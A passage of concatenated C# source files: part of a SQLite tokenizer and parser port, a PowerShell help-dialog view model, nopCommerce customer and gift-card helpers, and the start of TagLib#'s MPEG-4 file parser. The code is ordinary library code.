0, 0, 0, 0, 0, 0, 0, 0, 0, /* Bx */ // 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, /* Cx */ // 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, /* Dx */ // 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, /* Ex */ // 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, /* Fx */ //}; //#define IdChar(C) (((c=C)>=0x42 && sqlite3IsEbcdicIdChar[c-0x40])) //#endif /* ** Return the length of the token that begins at z[iOffset + 0]. ** Store the token type in *tokenType before returning. */ static int sqlite3GetToken( string z, int iOffset, ref int tokenType ) { int i; byte c = 0; switch ( z[iOffset + 0] ) { case ' ': case '\t': case '\n': case '\f': case '\r': { testcase( z[iOffset + 0] == ' ' ); testcase( z[iOffset + 0] == '\t' ); testcase( z[iOffset + 0] == '\n' ); testcase( z[iOffset + 0] == '\f' ); testcase( z[iOffset + 0] == '\r' ); for ( i = 1; z.Length > iOffset + i && sqlite3Isspace( z[iOffset + i] ); i++ ) { } tokenType = TK_SPACE; return i; } case '-': { if ( z.Length > iOffset + 1 && z[iOffset + 1] == '-' ) { /* IMP: R-15891-05542 -- syntax diagram for comments */ for ( i = 2; z.Length > iOffset + i && ( c = (byte)z[iOffset + i] ) != 0 && c != '\n'; i++ ) { } tokenType = TK_SPACE; /* IMP: R-22934-25134 */ return i; } tokenType = TK_MINUS; return 1; } case '(': { tokenType = TK_LP; return 1; } case ')': { tokenType = TK_RP; return 1; } case ';': { tokenType = TK_SEMI; return 1; } case '+': { tokenType = TK_PLUS; return 1; } case '*': { tokenType = TK_STAR; return 1; } case '/': { if ( iOffset + 2 >= z.Length || z[iOffset + 1] != '*' ) { tokenType = TK_SLASH; return 1; } /* IMP: R-15891-05542 -- syntax diagram for comments */ for ( i = 3, c = (byte)z[iOffset + 2]; iOffset + i < z.Length && ( c != '*' || ( z[iOffset + i] != '/' ) && ( c != 0 ) ); i++ ) { c = (byte)z[iOffset + i]; } if ( iOffset + i == z.Length ) c = 0; if ( c != 0 ) i++; tokenType = TK_SPACE; /* IMP: R-22934-25134 */ return i; } case '%': { tokenType = TK_REM; return 1; } case '=': { tokenType = TK_EQ; return 1 + ( z[iOffset + 1] == '=' ? 1 : 0 ); } case '<': { if ( ( c = (byte)z[iOffset + 1] ) == '=' ) { tokenType = TK_LE; return 2; } else if ( c == '>' ) { tokenType = TK_NE; return 2; } else if ( c == '<' ) { tokenType = TK_LSHIFT; return 2; } else { tokenType = TK_LT; return 1; } } case '>': { if ( z.Length > iOffset + 1 && ( c = (byte)z[iOffset + 1] ) == '=' ) { tokenType = TK_GE; return 2; } else if ( c == '>' ) { tokenType = TK_RSHIFT; return 2; } else { tokenType = TK_GT; return 1; } } case '!': { if ( z[iOffset + 1] != '=' ) { tokenType = TK_ILLEGAL; return 2; } else { tokenType = TK_NE; return 2; } } case '|': { if ( z[iOffset + 1] != '|' ) { tokenType = TK_BITOR; return 1; } else { tokenType = TK_CONCAT; return 2; } } case ',': { tokenType = TK_COMMA; return 1; } case '&': { tokenType = TK_BITAND; return 1; } case '~': { tokenType = TK_BITNOT; return 1; } case '`': case '\'': case '"': { int delim = z[iOffset + 0]; testcase( delim == '`' ); testcase( delim == '\'' ); testcase( delim == '"' ); for ( i = 1; ( iOffset + i ) < z.Length && ( c = (byte)z[iOffset + i] ) != 0; i++ ) { if ( c == delim ) { if ( z.Length > iOffset + i + 1 && z[iOffset + i + 1] == delim ) { i++; } else { break; } } } if ( ( iOffset + i == z.Length && c != delim ) || z[iOffset + i] != delim ) { tokenType = TK_ILLEGAL; return i + 1; } if ( c == '\'' ) { tokenType = TK_STRING; return i + 1; } else if ( c != 0 ) { tokenType = TK_ID; return i + 1; } else { tokenType = TK_ILLEGAL; return i; } } case '.': { #if !SQLITE_OMIT_FLOATING_POINT if ( !sqlite3Isdigit( z[iOffset + 1] ) ) #endif { tokenType = TK_DOT; return 1; } /* If the next character is a digit, this is a floating point ** number that begins with ".". Fall thru into the next case */ goto case '0'; } case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': { testcase( z[iOffset] == '0' ); testcase( z[iOffset] == '1' ); testcase( z[iOffset] == '2' ); testcase( z[iOffset] == '3' ); testcase( z[iOffset] == '4' ); testcase( z[iOffset] == '5' ); testcase( z[iOffset] == '6' ); testcase( z[iOffset] == '7' ); testcase( z[iOffset] == '8' ); testcase( z[iOffset] == '9' ); tokenType = TK_INTEGER; for ( i = 0; z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ); i++ ) { } #if !SQLITE_OMIT_FLOATING_POINT if ( z.Length > iOffset + i && z[iOffset + i] == '.' ) { i++; while ( z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ) ) { i++; } tokenType = TK_FLOAT; } if ( z.Length > iOffset + i + 1 && ( z[iOffset + i] == 'e' || z[iOffset + i] == 'E' ) && ( sqlite3Isdigit( z[iOffset + i + 1] ) || z.Length > iOffset + i + 2 && ( ( z[iOffset + i + 1] == '+' || z[iOffset + i + 1] == '-' ) && sqlite3Isdigit( z[iOffset + i + 2] ) ) ) ) { i += 2; while ( z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ) ) { i++; } tokenType = TK_FLOAT; } #endif while ( iOffset + i < z.Length && IdChar( (byte)z[iOffset + i] ) ) { tokenType = TK_ILLEGAL; i++; } return i; } case '[': { for ( i = 1, c = (byte)z[iOffset + 0]; c != ']' && ( iOffset + i ) < z.Length && ( c = (byte)z[iOffset + i] ) != 0; i++ ) { } tokenType = c == ']' ? TK_ID : TK_ILLEGAL; return i; } case '?': { tokenType = TK_VARIABLE; for ( i = 1; z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ); i++ ) { } return i; } case '#': { for ( i = 1; z.Length > iOffset + i && sqlite3Isdigit( z[iOffset + i] ); i++ ) { } if ( i > 1 ) { /* Parameters of the form #NNN (where NNN is a number) are used ** internally by sqlite3NestedParse. */ tokenType = TK_REGISTER; return i; } /* Fall through into the next case if the '#' is not followed by ** a digit. Try to match #AAAA where AAAA is a parameter name. */ goto case ':'; } #if !SQLITE_OMIT_TCL_VARIABLE case '$': #endif case '@': /* For compatibility with MS SQL Server */ case ':': { int n = 0; testcase( z[iOffset + 0] == '$' ); testcase( z[iOffset + 0] == '@' ); testcase( z[iOffset + 0] == ':' ); tokenType = TK_VARIABLE; for ( i = 1; z.Length > iOffset + i && ( c = (byte)z[iOffset + i] ) != 0; i++ ) { if ( IdChar( c ) ) { n++; #if !SQLITE_OMIT_TCL_VARIABLE } else if ( c == '(' && n > 0 ) { do { i++; } while ( ( iOffset + i ) < z.Length && ( c = (byte)z[iOffset + i] ) != 0 && !sqlite3Isspace( c ) && c != ')' ); if ( c == ')' ) { i++; } else { tokenType = TK_ILLEGAL; } break; } else if ( c == ':' && z[iOffset + i + 1] == ':' ) { i++; #endif } else { break; } } if ( n == 0 ) tokenType = TK_ILLEGAL; return i; } #if !SQLITE_OMIT_BLOB_LITERAL case 'x': case 'X': { testcase( z[iOffset + 0] == 'x' ); testcase( z[iOffset + 0] == 'X' ); if ( z.Length > iOffset + 1 && z[iOffset + 1] == '\'' ) { tokenType = TK_BLOB; for ( i = 2; z.Length > iOffset + i && ( c = (byte)z[iOffset + i] ) != 0 && c != '\''; i++ ) { if ( !sqlite3Isxdigit( c ) ) { tokenType = TK_ILLEGAL; } } if ( i % 2 != 0 || z.Length == iOffset + i && c != '\'' ) tokenType = TK_ILLEGAL; if ( c != 0 ) i++; return i; } goto default; /* Otherwise fall through to the next case */ } #endif default: { if ( !IdChar( (byte)z[iOffset] ) ) { break; } for ( i = 1; i < z.Length - iOffset && IdChar( (byte)z[iOffset + i] ); i++ ) { } tokenType = keywordCode( z, iOffset, i ); return i; } } tokenType = TK_ILLEGAL; return 1; } /* ** Run the parser on the given SQL string. The parser structure is ** passed in. An SQLITE_ status code is returned. If an error occurs ** then an and attempt is made to write an error message into ** memory obtained from sqlite3_malloc() and to make pzErrMsg point to that ** error message. */ static int sqlite3RunParser( Parse pParse, string zSql, ref string pzErrMsg ) { int nErr = 0; /* Number of errors encountered */ int i; /* Loop counter */ yyParser pEngine; /* The LEMON-generated LALR(1) parser */ int tokenType = 0; /* type of the next token */ int lastTokenParsed = -1; /* type of the previous token */ byte enableLookaside; /* Saved value of db->lookaside.bEnabled */ sqlite3 db = pParse.db; /* The database connection */ int mxSqlLen; /* Max length of an SQL string */ mxSqlLen = db.aLimit[SQLITE_LIMIT_SQL_LENGTH]; if ( db.activeVdbeCnt == 0 ) { db.u1.isInterrupted = false; } pParse.rc = SQLITE_OK; pParse.zTail = new StringBuilder( zSql ); i = 0; Debug.Assert( pzErrMsg != null ); pEngine = sqlite3ParserAlloc();//sqlite3ParserAlloc((void*(*)(size_t))sqlite3Malloc); if ( pEngine == null ) { //// db.mallocFailed = 1; return SQLITE_NOMEM; } Debug.Assert( pParse.pNewTable == null ); Debug.Assert( pParse.pNewTrigger == null ); Debug.Assert( pParse.nVar == 0 ); Debug.Assert( pParse.nVarExpr == 0 ); Debug.Assert( pParse.nVarExprAlloc == 0 ); Debug.Assert( pParse.apVarExpr == null ); enableLookaside = db.lookaside.bEnabled; if ( db.lookaside.pStart != 0 ) db.lookaside.bEnabled = 1; while ( /* 0 == db.mallocFailed && */ i < zSql.Length ) { Debug.Assert( i >= 0 ); //pParse->sLastToken.z = &zSql[i]; pParse.sLastToken.n = sqlite3GetToken( zSql, i, ref tokenType ); pParse.sLastToken.z = zSql.Substring( i ); i += pParse.sLastToken.n; if ( i > mxSqlLen ) { pParse.rc = SQLITE_TOOBIG; break; } switch ( tokenType ) { case TK_SPACE: { if ( db.u1.isInterrupted ) { sqlite3ErrorMsg( pParse, "interrupt" ); pParse.rc = SQLITE_INTERRUPT; goto abort_parse; } break; } case TK_ILLEGAL: { sqlite3DbFree( db, ref pzErrMsg ); pzErrMsg = sqlite3MPrintf( db, "unrecognized token: \"%T\"", (object)pParse.sLastToken ); nErr++; goto abort_parse; } case TK_SEMI: { //pParse.zTail = new StringBuilder(zSql.Substring( i,zSql.Length-i )); /* Fall thru into the default case */ goto default; } default: { sqlite3Parser( pEngine, tokenType, pParse.sLastToken, pParse ); lastTokenParsed = tokenType; if ( pParse.rc != SQLITE_OK ) { goto abort_parse; } break; } } } abort_parse: pParse.zTail = new StringBuilder( zSql.Length <= i ? "" : zSql.Substring( i, zSql.Length - i ) ); if ( zSql.Length >= i && nErr == 0 && pParse.rc == SQLITE_OK ) { if ( lastTokenParsed != TK_SEMI ) { sqlite3Parser( pEngine, TK_SEMI, pParse.sLastToken, pParse ); } sqlite3Parser( pEngine, 0, pParse.sLastToken, pParse ); } #if YYTRACKMAXSTACKDEPTH sqlite3StatusSet(SQLITE_STATUS_PARSER_STACK, sqlite3ParserStackPeak(pEngine) ); #endif //* YYDEBUG */ sqlite3ParserFree( pEngine, null );//sqlite3_free ); db.lookaside.bEnabled = enableLookaside; //if ( db.mallocFailed != 0 ) //{ // pParse.rc = SQLITE_NOMEM; //} if ( pParse.rc != SQLITE_OK && pParse.rc != SQLITE_DONE && pParse.zErrMsg == "" ) { sqlite3SetString( ref pParse.zErrMsg, db, sqlite3ErrStr( pParse.rc ) ); } //assert( pzErrMsg!=0 ); if ( pParse.zErrMsg != null ) { pzErrMsg = pParse.zErrMsg; sqlite3_log( pParse.rc, "%s", pzErrMsg ); pParse.zErrMsg = ""; nErr++; } if ( pParse.pVdbe != null && pParse.nErr > 0 && pParse.nested == 0 ) { sqlite3VdbeDelete( ref pParse.pVdbe ); pParse.pVdbe = null; } #if !SQLITE_OMIT_SHARED_CACHE if ( pParse.nested == 0 ) { sqlite3DbFree( db, ref pParse.aTableLock ); pParse.aTableLock = null; pParse.nTableLock = 0; } #endif #if !SQLITE_OMIT_VIRTUALTABLE sqlite3_free(pParse.apVtabLock); #endif if ( !IN_DECLARE_VTAB ) { /* If the pParse.declareVtab flag is set, do not delete any table ** structure built up in pParse.pNewTable. The calling code (see vtab.c) ** will take responsibility for freeing the Table structure. */ sqlite3DeleteTable( db, ref pParse.pNewTable ); } #if !SQLITE_OMIT_TRIGGER sqlite3DeleteTrigger( db, ref pParse.pNewTrigger ); #endif sqlite3DbFree( db, ref pParse.apVarExpr ); sqlite3DbFree( db, ref pParse.aAlias ); while ( pParse.pAinc != null ) { AutoincInfo p = pParse.pAinc; pParse.pAinc = p.pNext; sqlite3DbFree( db, ref p ); } while ( pParse.pZombieTab != null ) { Table p = pParse.pZombieTab; pParse.pZombieTab = p.pNextZombie; sqlite3DeleteTable( db, ref p ); } if ( nErr > 0 && pParse.rc == SQLITE_OK ) { pParse.rc = SQLITE_ERROR; } return nErr; } } }
// Copyright (c) Microsoft Corporation. // Licensed under the MIT License. using System; using System.ComponentModel; using System.Diagnostics; using System.Globalization; using System.Management.Automation; using System.Windows.Documents; namespace Microsoft.Management.UI.Internal { /// <summary> /// ViewModel for the Help Dialog used to: /// build the help document /// search the help document /// offer text for labels. /// </summary> internal class HelpViewModel : INotifyPropertyChanged { /// <summary> /// The builder for the help FlowDocument Paragraph used in a RichEditText control. /// </summary> private readonly HelpParagraphBuilder helpBuilder; /// <summary> /// Searcher for selecting current matches in paragraph text. /// </summary> private readonly ParagraphSearcher searcher; /// <summary> /// Title of the help window. /// </summary> private readonly string helpTitle; /// <summary> /// the zoom bound to the zoom slider value. /// </summary> private double zoom = 100; /// <summary> /// Text to be found. This is bound to the find TextBox. /// </summary> private string findText; /// <summary> /// text for the number of matches found. /// </summary> private string matchesLabel; /// <summary> /// Initializes a new instance of the HelpViewModel class. /// </summary> /// <param name="psObj">Object containing help.</param> /// <param name="documentParagraph">Paragraph in which help text is built/searched.</param> internal HelpViewModel(PSObject psObj, Paragraph documentParagraph) { Debug.Assert(psObj != null, "ensured by caller"); Debug.Assert(documentParagraph != null, "ensured by caller"); this.helpBuilder = new HelpParagraphBuilder(documentParagraph, psObj); this.helpBuilder.BuildParagraph(); this.searcher = new ParagraphSearcher(); this.helpBuilder.PropertyChanged += this.HelpBuilder_PropertyChanged; this.helpTitle = string.Format( CultureInfo.CurrentCulture, HelpWindowResources.HelpTitleFormat, HelpParagraphBuilder.GetPropertyString(psObj, "name")); } #region INotifyPropertyChanged Members /// <summary> /// Used to notify of property changes. /// </summary> public event PropertyChangedEventHandler PropertyChanged; #endregion /// <summary> /// Gets or sets the Zoom bound to the zoom slider value. /// </summary> public double Zoom { get { return this.zoom; } set { this.zoom = value; this.OnNotifyPropertyChanged("Zoom"); this.OnNotifyPropertyChanged("ZoomLabel"); this.OnNotifyPropertyChanged("ZoomLevel"); } } /// <summary> /// Gets the value bound to the RichTextEdit zoom, which is calculated based on the zoom. /// </summary> public double ZoomLevel { get { return this.zoom / 100.0; } } /// <summary> /// Gets the label to be displayed for the zoom. /// </summary> public string ZoomLabel { get { return string.Format(CultureInfo.CurrentCulture, HelpWindowResources.ZoomLabelTextFormat, this.zoom); } } /// <summary> /// Gets or sets the text to be found. /// </summary> public string FindText { get { return this.findText; } set { this.findText = value; this.Search(); this.SetMatchesLabel(); } } /// <summary> /// Gets the title of the window. /// </summary> public string HelpTitle { get { return this.helpTitle; } } /// <summary> /// Gets or sets the label for current matches. /// </summary> public string MatchesLabel { get { return this.matchesLabel; } set { this.matchesLabel = value; this.OnNotifyPropertyChanged("MatchesLabel"); } } /// <summary> /// Gets a value indicating whether there are matches to go to. /// </summary> public bool CanGoToNextOrPrevious { get { return this.HelpBuilder.HighlightCount != 0; } } /// <summary> /// Gets the searcher for selecting current matches in paragraph text. /// </summary> internal ParagraphSearcher Searcher { get { return this.searcher; } } /// <summary> /// Gets the paragraph builder used to write help content. /// </summary> internal HelpParagraphBuilder HelpBuilder { get { return this.helpBuilder; } } /// <summary> /// Highlights all matches to this.findText /// Called when findText changes or whenever the search has to be refreshed /// </summary> internal void Search() { this.HelpBuilder.HighlightAllInstancesOf(this.findText, HelpWindowSettings.Default.HelpSearchMatchCase, HelpWindowSettings.Default.HelpSearchWholeWord); this.searcher.ResetSearch(); } /// <summary> /// Increases Zoom if not above maximum. /// </summary> internal void ZoomIn() { if (this.Zoom + HelpWindow.ZoomInterval <= HelpWindow.MaximumZoom) { this.Zoom += HelpWindow.ZoomInterval; } } /// <summary> /// Decreases Zoom if not below minimum. /// </summary> internal void ZoomOut() { if (this.Zoom - HelpWindow.ZoomInterval >= HelpWindow.MinimumZoom) { this.Zoom -= HelpWindow.ZoomInterval; } } /// <summary> /// Called to update the matches label. /// </summary> /// <param name="sender">Event sender.</param> /// <param name="e">Event arguments.</param> private void HelpBuilder_PropertyChanged(object sender, PropertyChangedEventArgs e) { if (e.PropertyName == "HighlightCount") { this.SetMatchesLabel(); this.OnNotifyPropertyChanged("CanGoToNextOrPrevious"); } } /// <summary> /// Sets the current matches label. /// </summary> private void SetMatchesLabel() { if (this.findText == null || this.findText.Trim().Length == 0) { this.MatchesLabel = string.Empty; } else { if (this.HelpBuilder.HighlightCount == 0) { this.MatchesLabel = HelpWindowResources.NoMatches; } else { if (this.HelpBuilder.HighlightCount == 1) { this.MatchesLabel = HelpWindowResources.OneMatch; } else { this.MatchesLabel = string.Format( CultureInfo.CurrentCulture, HelpWindowResources.SomeMatchesFormat, this.HelpBuilder.HighlightCount); } } } } /// <summary> /// Called internally to notify when a proiperty changed. /// </summary> /// <param name="propertyName">Property name.</param> private void OnNotifyPropertyChanged(string propertyName) { PropertyChangedEventHandler handler = this.PropertyChanged; if (handler != null) { handler(this, new PropertyChangedEventArgs(propertyName)); } } } }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Xml; using Nop.Core; using Nop.Core.Domain.Customers; using Nop.Core.Infrastructure; using Nop.Services.Common; using Nop.Services.Localization; namespace Nop.Services.Customers { public static class CustomerExtensions { /// <summary> /// Get full name /// </summary> /// <param name="customer">Customer</param> /// <returns>Customer full name</returns> public static string GetFullName(this Customer customer) { if (customer == null) throw new ArgumentNullException("customer"); var firstName = customer.GetAttribute<string>(SystemCustomerAttributeNames.FirstName); var lastName = customer.GetAttribute<string>(SystemCustomerAttributeNames.LastName); string fullName = ""; if (!String.IsNullOrWhiteSpace(firstName) && !String.IsNullOrWhiteSpace(lastName)) fullName = string.Format("{0} {1}", firstName, lastName); else { if (!String.IsNullOrWhiteSpace(firstName)) fullName = firstName; if (!String.IsNullOrWhiteSpace(lastName)) fullName = lastName; } return fullName; } /// <summary> /// Formats the customer name /// </summary> /// <param name="customer">Source</param> /// <param name="stripTooLong">Strip too long customer name</param> /// <param name="maxLength">Maximum customer name length</param> /// <returns>Formatted text</returns> public static string FormatUserName(this Customer customer, bool stripTooLong = false, int maxLength = 0) { if (customer == null) return string.Empty; if (customer.IsGuest()) { return EngineContext.Current.Resolve<ILocalizationService>().GetResource("Customer.Guest"); } string result = string.Empty; switch (EngineContext.Current.Resolve<CustomerSettings>().CustomerNameFormat) { case CustomerNameFormat.ShowEmails: result = customer.Email; break; case CustomerNameFormat.ShowUsernames: result = customer.Username; break; case CustomerNameFormat.ShowFullNames: result = customer.GetFullName(); break; case CustomerNameFormat.ShowFirstName: result = customer.GetAttribute<string>(SystemCustomerAttributeNames.FirstName); break; default: break; } if (stripTooLong && maxLength > 0) { result = CommonHelper.EnsureMaximumLength(result, maxLength); } return result; } #region Gift cards /// <summary> /// Gets coupon codes /// </summary> /// <param name="customer">Customer</param> /// <returns>Coupon codes</returns> public static string[] ParseAppliedGiftCardCouponCodes(this Customer customer) { var genericAttributeService = EngineContext.Current.Resolve<IGenericAttributeService>(); var existingGiftCartCouponCodes = customer.GetAttribute<string>(SystemCustomerAttributeNames.GiftCardCouponCodes, genericAttributeService); var couponCodes = new List<string>(); if (String.IsNullOrEmpty(existingGiftCartCouponCodes)) return couponCodes.ToArray(); try { var xmlDoc = new XmlDocument(); xmlDoc.LoadXml(existingGiftCartCouponCodes); var nodeList1 = xmlDoc.SelectNodes(@"//GiftCardCouponCodes/CouponCode"); foreach (XmlNode node1 in nodeList1) { if (node1.Attributes != null && node1.Attributes["Code"] != null) { string code = node1.Attributes["Code"].InnerText.Trim(); couponCodes.Add(code); } } } catch (Exception exc) { Debug.Write(exc.ToString()); } return couponCodes.ToArray(); } /// <summary> /// Adds a coupon code /// </summary> /// <param name="customer">Customer</param> /// <param name="couponCode">Coupon code</param> /// <returns>New coupon codes document</returns> public static void ApplyGiftCardCouponCode(this Customer customer, string couponCode) { var genericAttributeService = EngineContext.Current.Resolve<IGenericAttributeService>(); string result = string.Empty; try { var existingGiftCartCouponCodes = customer.GetAttribute<string>(SystemCustomerAttributeNames.GiftCardCouponCodes, genericAttributeService); couponCode = couponCode.Trim().ToLower(); var xmlDoc = new XmlDocument(); if (String.IsNullOrEmpty(existingGiftCartCouponCodes)) { var element1 = xmlDoc.CreateElement("GiftCardCouponCodes"); xmlDoc.AppendChild(element1); } else { xmlDoc.LoadXml(existingGiftCartCouponCodes); } var rootElement = (XmlElement)xmlDoc.SelectSingleNode(@"//GiftCardCouponCodes"); XmlElement gcElement = null; //find existing var nodeList1 = xmlDoc.SelectNodes(@"//GiftCardCouponCodes/CouponCode"); foreach (XmlNode node1 in nodeList1) { if (node1.Attributes != null && node1.Attributes["Code"] != null) { string couponCodeAttribute = node1.Attributes["Code"].InnerText.Trim(); if (couponCodeAttribute.ToLower() == couponCode.ToLower()) { gcElement = (XmlElement)node1; break; } } } //create new one if not found if (gcElement == null) { gcElement = xmlDoc.CreateElement("CouponCode"); gcElement.SetAttribute("Code", couponCode); rootElement.AppendChild(gcElement); } result = xmlDoc.OuterXml; } catch (Exception exc) { Debug.Write(exc.ToString()); } //apply new value genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.GiftCardCouponCodes, result); } /// <summary> /// Removes a coupon code /// </summary> /// <param name="customer">Customer</param> /// <param name="couponCode">Coupon code to remove</param> /// <returns>New coupon codes document</returns> public static void RemoveGiftCardCouponCode(this Customer customer, string couponCode) { //get applied coupon codes var existingCouponCodes = customer.ParseAppliedGiftCardCouponCodes(); //clear them var genericAttributeService = EngineContext.Current.Resolve<IGenericAttributeService>(); genericAttributeService.SaveAttribute<string>(customer, SystemCustomerAttributeNames.GiftCardCouponCodes, null); //save again except removed one foreach (string existingCouponCode in existingCouponCodes) if (!existingCouponCode.Equals(couponCode, StringComparison.InvariantCultureIgnoreCase)) customer.ApplyGiftCardCouponCode(existingCouponCode); } #endregion } }
// // FileParser.cs: Provides methods for reading important information from an // MPEG-4 file. // // Author: // Brian Nickel ([email protected]) // // Copyright (C) 2006-2007 Brian Nickel // // This library is free software; you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License version // 2.1 as published by the Free Software Foundation. // // This library is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with this library; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 // USA // using System; using System.Collections.Generic; namespace TagLib.Mpeg4 { /// <summary> /// This class provides methods for reading important information /// from an MPEG-4 file. /// </summary> public class FileParser { #region Private Fields /// <summary> /// Contains the file to read from. /// </summary> private TagLib.File file; /// <summary> /// Contains the first header found in the file. /// </summary> private BoxHeader first_header; /// <summary> /// Contains the ISO movie header box. /// </summary> private IsoMovieHeaderBox mvhd_box; /// <summary> /// Contains the ISO user data boxes. /// </summary> private List<IsoUserDataBox> udta_boxes = new List<IsoUserDataBox> (); /// <summary> /// Contains the box headers from the top of the file to the /// "moov" box. /// </summary> private BoxHeader [] moov_tree; /// <summary> /// Contains the box headers from the top of the file to the /// "udta" box. /// </summary> private BoxHeader [] udta_tree; /// <summary> /// Contains the "stco" boxes found in the file. /// </summary> private List<Box> stco_boxes = new List<Box> (); /// <summary> /// Contains the "stsd" boxes found in the file. /// </summary> private List<Box> stsd_boxes = new List<Box> (); /// <summary> /// Contains the position at which the "mdat" box starts. /// </summary> private long mdat_start = -1; /// <summary> /// Contains the position at which the "mdat" box ends. /// </summary> private long mdat_end = -1; #endregion #region Constructors /// <summary> /// Constructs and initializes a new instance of <see /// cref="FileParser" /> for a specified file. /// </summary> /// <param name="file"> /// A <see cref="TagLib.File" /> object to perform operations /// on. /// </param> /// <exception cref="ArgumentNullException"> /// <paramref name="file" /> is <see langword="null" />. /// </exception> /// <exception cref="CorruptFileException"> /// <paramref name="file" /> does not start with a /// "<c>ftyp</c>" box. /// </exception> public FileParser (TagLib.File file) { if (file == null) throw new ArgumentNullException ("file"); this.file = file; first_header = new BoxHeader (file, 0); if (first_header.BoxType != "ftyp") throw new CorruptFileException ( "File does not start with 'ftyp' box."); } #endregion #region Public Properties /// <summary> /// Gets the movie header box read by the current instance. /// </summary> /// <value> /// A <see cref="IsoMovieHeaderBox" /> object read by the /// current instance, or <see langword="null" /> if not found. /// </value> /// <remarks> /// This value will only be set by calling <see /// cref="ParseTagAndProperties()" />. /// </remarks> public IsoMovieHeaderBox MovieHeaderBox { get {return mvhd_box;} } /// <summary> /// Gets all user data boxes read by the current instance. /// </summary> /// <value> /// A <see cref="IsoUserDataBox" /> array read by the /// current instance. /// </value> /// <remarks> /// This value will only be set by calling <see /// cref="ParseTag()" /> and <see /// cref="ParseTagAndProperties()" />. /// </remarks> public IsoUserDataBox [] UserDataBoxes { get {return udta_boxes.ToArray ();} } public IsoUserDataBox UserDataBox { get {return UserDataBoxes.Length == 0 ? null : UserDataBoxes[0];} } /// <summary> /// Gets the audio sample entry read by the current instance. /// </summary> /// <value> /// A <see cref="IsoAudioSampleEntry" /> object read by the /// current instance, or <see langword="null" /> if not found. /// </value> /// <remarks> /// This value will only be set by calling <see /// cref="ParseTagAndProperties()" />. /// </remarks> public IsoAudioSampleEntry AudioSampleEntry { get { foreach (IsoSampleDescriptionBox box in stsd_boxes) foreach (Box sub in box.Children) { IsoAudioSampleEntry entry = sub as IsoAudioSampleEntry; if (entry != null) return entry; } return null; } } /// <summary> /// Gets the visual sample entry read by the current /// instance. /// </summary> /// <value> /// A <see cref="IsoVisualSampleEntry" /> object read by the /// current instance, or <see langword="null" /> if not found. /// </value> /// <remarks> /// This value will only be set by calling <see /// cref="ParseTagAndProperties()" />. /// </remarks> public IsoVisualSampleEntry VisualSampleEntry { get { foreach (IsoSampleDescriptionBox box in stsd_boxes) foreach (Box sub in box.Children) { IsoVisualSampleEntry entry = sub as IsoVisualSampleEntry; if (entry != null) return entry; } return null; } } /// <summary> /// Gets the box headers for the first "<c>moov</c>" box and /// all parent boxes up to the top of the file as read by the /// current instance. /// </summary> /// <value> /// A <see cref="BoxHeader[]" /> containing the headers for /// the first "<c>moov</c>" box and its parent boxes up to /// the top of the file, in the order they appear, or <see /// langword="null" /> if none is present. /// </value> /// <remarks> /// This value is useful for overwriting box headers, and is /// only be set by calling <see cref="ParseBoxHeaders()" />. /// </remarks> public BoxHeader [] MoovTree { get {return moov_tree;} } /// <summary> /// Gets the box headers for the first "<c>udta</c>" box and /// all parent boxes up to the top of the file as read by the /// current instance. /// </summary> /// <value> /// A <see cref="BoxHeader[]" /> containing the headers for /// the first "<c>udta</c>" box and its parent boxes up to /// the top of the file, in the order they appear, or <see /// langword="null" /> if none is present. /// </value> /// <remarks> /// This value is useful for overwriting box headers, and is /// only be set by calling <see cref="ParseBoxHeaders()" />. /// </remarks> public BoxHeader [] UdtaTree { get {return udta_tree;} } /// <summary> /// Gets all chunk offset boxes read by the current instance. /// </summary> /// <value> /// A <see cref="Box[]" /> containing all chunk offset boxes /// read by the current instance. /// </value> /// <remarks> /// These boxes contain offset information for media data in /// the current instance and can be devalidated by size /// change operations, in which case they need to be /// corrected. This value will only be set by calling <see /// cref="ParseChunkOffsets()" />. /// </remarks> public Box [] ChunkOffsetBoxes { get {return stco_boxes.ToArray ();} } /// <summary> /// Gets the position at which the "<c>mdat</c>" box starts. /// </summary> /// <value> /// A <see cref="long" /> value containing the seek position /// at which the "<c>mdat</c>" box starts. /// </value> /// <remarks> /// The "<c>mdat</c>" box contains the media data for the /// file and is used for estimating the invariant data /// portion of the file. /// </remarks> public long MdatStartPosition { get {return mdat_start;} } /// <summary> /// Gets the position at which the "<c>mdat</c>" box ends. /// </summary> /// <value> /// A <see cref="long" /> value containing the seek position /// at which the "<c>mdat</c>" box ends. /// </value> /// <remarks> /// The "<c>mdat</c>" box contains the media data for the /// file and is used for estimating the invariant data /// portion of the file. /// </remarks> public long MdatEndPosition { get {return mdat_end;} } #endregion #region Public Methods /// <summary> /// Parses the file referenced by the current instance, /// searching for box headers that will be useful in saving /// the file. /// </summary> public void ParseBoxHeaders () { try { ResetFields (); ParseBoxHeaders (first_header.TotalBoxSize, file.Length, null); } catch (CorruptFileException e) { file.MarkAsCorrupt (e.Message); } } /// <summary> /// Parses the file referenced by the current instance, /// searching for tags. /// </summary> public void ParseTag () { try { ResetFields (); ParseTag (first_header.TotalBoxSize, file.Length, null); } catch (CorruptFileException e) { file.MarkAsCorrupt (e.Message); } } /// <summary> /// Parses the file referenced by the current instance, /// searching for tags and properties. /// </summary> public void ParseTagAndProperties () { try { ResetFields (); ParseTagAndProperties (first_header.TotalBoxSize, file.Length, null, null); } catch (CorruptFileException e) { file.MarkAsCorrupt (e.Message); } } /// <summary> /// Parses the file referenced by the current instance, /// searching for chunk offset boxes. /// </summary> public void ParseChunkOffsets () { try { ResetFields (); ParseChunkOffsets (first_header.TotalBoxSize, file.Length); } catch (CorruptFileException e) { file.MarkAsCorrupt 